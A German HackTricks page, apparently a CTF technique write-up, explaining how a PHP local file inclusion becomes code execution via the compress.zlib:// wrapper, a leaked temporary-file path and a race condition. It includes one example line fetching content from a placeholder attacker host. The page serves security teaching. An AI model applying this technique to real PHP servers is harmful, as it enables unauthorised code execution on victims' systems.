4.4 KiB
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
{% hint style="success" %}
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstütze HackTricks
- Überprüfe die Abonnementpläne!
- Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs zu den HackTricks und HackTricks Cloud GitHub-Repos einreichst.
compress.zlib://
und PHP_STREAM_PREFER_STDIO
Eine Datei, die mit dem Protokoll compress.zlib://
und dem Flag PHP_STREAM_PREFER_STDIO
geöffnet wurde, kann weiterhin Daten, die später an die Verbindung ankommen, in dieselbe Datei schreiben.
Das bedeutet, dass ein Aufruf wie:
file_get_contents("compress.zlib://http://attacker.com/file")
Wird eine Anfrage an http://attacker.com/file senden, dann könnte der Server die Anfrage mit einer gültigen HTTP-Antwort beantworten, die Verbindung offen halten und später zusätzliche Daten senden, die ebenfalls in die Datei geschrieben werden.
Sie können diese Informationen in diesem Teil des php-src-Codes in main/streams/cast.c sehen:
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
Race Condition zu RCE
Dieses CTF wurde mit dem vorherigen Trick gelöst.
Der Angreifer wird den Opfer-Server dazu bringen, eine Verbindung zu öffnen, um eine Datei vom Server des Angreifers zu lesen unter Verwendung des compress.zlib
Protokolls.
Während diese Verbindung besteht, wird der Angreifer den Pfad zur erstellten temporären Datei exfiltrieren (er wird vom Server geleakt).
Während die Verbindung noch offen ist, wird der Angreifer eine LFI ausnutzen, um die temporäre Datei zu laden, die er kontrolliert.
Es gibt jedoch eine Überprüfung im Webserver, die verhindert, dass Dateien geladen werden, die <?
enthalten. Daher wird der Angreifer eine Race Condition ausnutzen. In der noch offenen Verbindung wird der Angreifer die PHP-Nutzlast NACHDEM der Webserver überprüft hat, ob die Datei die verbotenen Zeichen enthält, aber BEVOR sie ihren Inhalt lädt, senden.
Für weitere Informationen siehe die Beschreibung der Race Condition und das CTF in https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
{% hint style="success" %}
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstütze HackTricks
- Überprüfe die Abonnementpläne!
- Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs zu den HackTricks und HackTricks Cloud GitHub-Repos einreichst.